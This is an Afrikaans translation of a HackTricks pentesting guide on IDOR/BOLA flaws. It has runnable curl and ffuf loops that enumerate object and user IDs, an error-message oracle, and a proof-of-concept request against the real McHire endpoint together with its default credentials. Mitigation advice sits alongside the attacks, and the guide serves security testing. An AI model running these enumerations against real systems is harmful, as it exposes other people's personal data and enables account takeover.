IDOR (Insecure Direct Object Reference)

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) verskyn wanneer ’n web- of API-endpoint ’n gebruiker-beheerde identifier openbaar of aanvaar wat direk gebruik word om toegang te kry tot ’n interne objek sonder om te verifieer dat die oproeper gemagtig is om daardie objek te benader/wysig. Suksesvolle uitbuiting stel gewoonlik horizontale of vertical privilege-escalation in staat soos die lees of wysig van ander gebruikers se data en, in die ergste geval, full account takeover of mass-data exfiltration.


1. Identifiseer potensiële IDORs

  1. Look for parameters that reference an object:
  • Path: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Headers / Cookies: X-Client-ID: 4711
  1. Gee voorkeur aan endpoints wat data lees of opdateer (GET, PUT, PATCH, DELETE).
  2. Let op wanneer identifiseerders opvolgend of voorspelbaar is – as jou ID 64185742 is, bestaan 64185741 waarskynlik.
  3. Verken verborge of alternatiewe vloei (bv. “Paradox team members” link in login pages) wat addisionele APIs kan openbaar.
  4. Gebruik ’n authenticated low-privilege session en verander slegs die ID terwyl jy dieselfde token/cookie behou. Die afwesigheid van ’n autorisasiefout is gewoonlik ’n teken van IDOR.

Vinnige handmatige manipulasie (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Outomatiese enumerasie (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Enumerating predictable download IDs (ffuf)

Geverifieerde file-hosting-panele berg dikwels per-gebruiker metadata in ’n enkele files tabel en stel ’n download-endpoint bloot soos /download.php?id=<int>. As die handler slegs nagaan of die ID bestaan (en nie of dit aan die geverifieerde gebruiker behoort nie), kan jy die heelgetalruimte met jou geldige session cookie afsoek en ander tenants se backups/configs steel:

ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json    # fetch surviving IDs such as company backups or signing keys
  • -fr verwyder 404-styl templates sodat net werklike treffers oorbly (bv. IDs 54/150 leaking volle webwerf-rugsteun en ondertekeningsmateriaal).
  • Dieselfde FFUF-werkvloei werk met Burp Intruder of ’n curl-lus—sorg net dat jy geauthentiseerd bly terwyl jy IDs verhoog.

Fout-respons-orakel vir gebruiker-/lĂȘer-enumerasie

Wanneer ’n download-endpoint beide ’n username en ’n filename aanvaar (e.g. /view.php?username=<u>&file=<f>), lei subtiele verskille in foutboodskappe dikwels tot ’n orakel:

  • Nie-bestaande username → “User not found”
  • Ongeldige filename maar geldige uitbreiding → “File does not exist” (soms lys dit ook beskikbare files)
  • Ongeldige uitbreiding → valideringsfout

Met enige geauthentiseerde sessie kan jy die username-parameter fuzz terwyl jy ’n onskadelike filename hou en filter op die “user not found” string om geldige gebruikers te ontdek:

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

Sodra geldige gebruikersname geĂŻdentifiseer is, versoek spesifieke lĂȘers direk (bv., /view.php?username=amanda&file=privacy.odt). Hierdie patroon lei gewoonlik tot ongemagtigde openbaarmaking van ander gebruikers se dokumente en credential leakage.


2. Werklike Gevallestudie – McHire Chatbot Platform (2025)

Tydens ’n assessering van die Paradox.ai-powered McHire recruitment portal is die volgende IDOR ontdek:

  • Eindpunt: PUT /api/lead/cem-xhr
  • Autorisasie: gebruikersessiekoekie vir enige restaurant-toetsrekening
  • Body parameter: {"lead_id": N} – 8-syfer, opeenvolgende numeriese identifiseerder

Deur die lead_id te verlaag het die tester willekeurige aansoekers se full PII (naam, e-mail, telefoon, adres, skofvoorkeure) opgehaal, plus ’n verbruiker JWT wat session hijacking toegelaat het. Enumeration van die reeks 1 – 64,185,742 het ongeveer 64 million rekords blootgestel.

Proof-of-Concept request:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

In kombinasie met default admin credentials (123456:123456) wat toegang tot die toetsrekening gegee het, het die kwesbaarheid ’n kritieke, maatskappy-wye databreek tot gevolg gehad.


3. Impak van IDOR / BOLA

  • Horizontale eskalasie – lees/opdateer/verwyder ander gebruikers se data.
  • Vertikale eskalasie – ’n laaggeprivilegieerde gebruiker kry admin-only funksionaliteit.
  • Massadatabreek indien identifiseerders sekwensieel is (bv. aansoeker-ID’s, fakture).
  • Rekeningoorname deur tokens te steel of die wagwoorde van ander gebruikers te reset.

4. Mitigasies & Beste praktyke

  1. Dwing object-level authorization af op elke versoek (user_id == session.user).
  2. Gee voorkeur aan indirect, unguessable identifiers (UUIDv4, ULID) in plaas van auto-increment IDs.
  3. Voer authorization server-side uit; moenie op versteekte formvelde of UI-beheerlelemente staatmaak nie.
  4. Implementeer RBAC / ABAC kontroles in ’n sentrale middleware.
  5. Voeg rate-limiting & logging by om enumerasie van ID’s te ontdek.
  6. Voer sekuriteitstoetse uit op elke nuwe endpoint (unit-, integrasie- en DAST).

5. Tooling

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks